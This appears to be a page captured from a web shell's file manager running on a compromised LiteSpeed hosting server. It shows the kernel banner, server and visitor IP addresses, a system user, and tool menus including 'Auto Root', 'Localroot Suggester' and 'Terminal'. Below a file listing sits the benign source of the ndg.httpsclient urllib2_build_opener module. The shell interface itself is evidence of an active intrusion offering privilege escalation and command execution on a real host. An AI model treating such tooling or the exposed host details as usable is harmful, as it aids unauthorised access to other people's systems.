Linux newlinux5.pouyasazan.org 3.10.0-962.3.2.lve1.5.60.el7.x86_64 #1 SMP Fri Jul 23 07:07:00 EDT 2021 x86_64
LiteSpeed
Server IP : 88.99.66.243 & Your IP : 216.73.216.178
Domains :
Cant Read [ /etc/named.conf ]
User : wdbbsgxf
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python2.7 /
site-packages /
ndg /
httpsclient /
Delete
Unzip
Name
Size
Permission
Date
Action
test
[ DIR ]
drwxr-xr-x
2022-02-05 00:54
__init__.py
390
B
-rw-r--r--
2012-01-06 19:47
__init__.pyc
625
B
-rw-r--r--
2014-10-31 13:34
__init__.pyo
625
B
-rw-r--r--
2014-10-31 13:34
https.py
4.49
KB
-rw-r--r--
2012-07-10 11:41
https.pyc
4.72
KB
-rw-r--r--
2014-10-31 13:34
https.pyo
4.72
KB
-rw-r--r--
2014-10-31 13:34
ssl_context_util.py
2.95
KB
-rw-r--r--
2012-03-07 01:32
ssl_context_util.pyc
3.4
KB
-rw-r--r--
2014-10-31 13:34
ssl_context_util.pyo
3.4
KB
-rw-r--r--
2014-10-31 13:34
ssl_peer_verification.py
9.11
KB
-rw-r--r--
2012-10-23 22:08
ssl_peer_verification.pyc
8.46
KB
-rw-r--r--
2014-10-31 13:34
ssl_peer_verification.pyo
8.46
KB
-rw-r--r--
2014-10-31 13:34
ssl_socket.py
9.56
KB
-rw-r--r--
2012-08-20 15:07
ssl_socket.pyc
12
KB
-rw-r--r--
2014-10-31 13:34
ssl_socket.pyo
12
KB
-rw-r--r--
2014-10-31 13:34
subj_alt_name.py
5.64
KB
-rw-r--r--
2012-02-08 20:36
subj_alt_name.pyc
6.23
KB
-rw-r--r--
2014-10-31 13:34
subj_alt_name.pyo
6.23
KB
-rw-r--r--
2014-10-31 13:34
urllib2_build_opener.py
2.16
KB
-rw-r--r--
2012-05-28 18:11
urllib2_build_opener.pyc
2.37
KB
-rw-r--r--
2014-10-31 13:34
urllib2_build_opener.pyo
2.37
KB
-rw-r--r--
2014-10-31 13:34
utils.py
14.04
KB
-rw-r--r--
2012-10-16 14:13
utils.pyc
11.98
KB
-rw-r--r--
2014-10-31 13:34
utils.pyo
11.98
KB
-rw-r--r--
2014-10-31 13:34
Save
Rename
"""urllib2 style build opener integrates with HTTPSConnection class from this package. """ __author__ = "P J Kershaw" __date__ = "21/12/10" __copyright__ = "(C) 2011 Science and Technology Facilities Council" __license__ = "BSD - see LICENSE file in top-level directory" __contact__ = "Philip.Kershaw@stfc.ac.uk" __revision__ = '$Id$' import logging from urllib2 import (ProxyHandler, UnknownHandler, HTTPDefaultErrorHandler, FTPHandler, FileHandler, HTTPErrorProcessor, HTTPHandler, OpenerDirector, HTTPRedirectHandler) from ndg.httpsclient.https import HTTPSContextHandler log = logging.getLogger(__name__) # Copied from urllib2 with modifications for ssl def build_opener(*handlers, **kw): """Create an opener object from a list of handlers. The opener will use several default handlers, including support for HTTP and FTP. If any of the handlers passed as arguments are subclasses of the default handlers, the default handlers will not be used. """ import types def isclass(obj): return isinstance(obj, types.ClassType) or hasattr(obj, "__bases__") opener = OpenerDirector() default_classes = [ProxyHandler, UnknownHandler, HTTPHandler, HTTPDefaultErrorHandler, HTTPRedirectHandler, FTPHandler, FileHandler, HTTPErrorProcessor] check_classes = list(default_classes) check_classes.append(HTTPSContextHandler) skip = [] for klass in check_classes: for check in handlers: if isclass(check): if issubclass(check, klass): skip.append(klass) elif isinstance(check, klass): skip.append(klass) for klass in default_classes: if klass not in skip: opener.add_handler(klass()) # Pick up SSL context from keyword settings ssl_context = kw.get('ssl_context') # Add the HTTPS handler with ssl_context if HTTPSContextHandler not in skip: opener.add_handler(HTTPSContextHandler(ssl_context)) for h in handlers: if isclass(h): h = h() opener.add_handler(h) return opener